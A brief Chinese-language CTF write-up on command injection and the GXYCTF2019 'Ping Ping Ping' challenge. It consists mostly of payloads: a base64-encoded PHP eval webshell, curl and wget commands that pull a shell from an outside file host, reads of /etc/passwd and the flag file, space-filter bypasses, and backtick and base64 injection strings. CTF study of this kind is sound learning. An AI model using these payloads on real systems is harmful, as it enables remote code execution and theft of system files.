> 技术文档 > 命令执行漏洞和[GXYCTF2019]Ping Ping Ping

命令执行漏洞和[GXYCTF2019]Ping Ping Ping

获取flag(传木马文件

文件地址可以用

3个方法

echo  PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOyA/Pg== | base64 -d > aab.php

curl   https://bashupload.com/atR2C/111.txt > shell.php

wget  https://bashupload.com/atR2C/111.txt

定向符  ls / >112.txt

再打开这个文件,就可以看到根目录

cat /flag.txt >112.txt ,然后打开112.txt,就可以得到flag

空格过滤方法

​< 或

cat</etc/passwd

用 < 代替空格(重定向符号)

${IFS}

cat${IFS}/etc/passwd

IFS 是内部字段分隔符

$IFS$9

cat$IFS$9/etc/passwd

$9 是空参数,增强兼容性

{cmd,arg}

{cat,/etc/passwd}

花括号扩展语法(仅限bash/zsh)

%09 (URL编码)

curl%09http://example.com

在HTTP请求中代替空格(需解码)

[GXYCTF2019]Ping Ping Ping

3种方法

第一种

测出空格,flag被过滤

空格用$IFS$9来代替

flag 先定义a=g,然后$a=g

所以   ?ip=;a=g;cat$IFS$9fla$a.php

然后再查看网页源代码

第二种

反引号

?ip=;cat$IFS$9`ls`

打开网页源代码

第三种

base64编码

`echo$IFS$9​​Y2F0IGZsYWcucGhw|base64$IFS$9-d`

打开网页源代码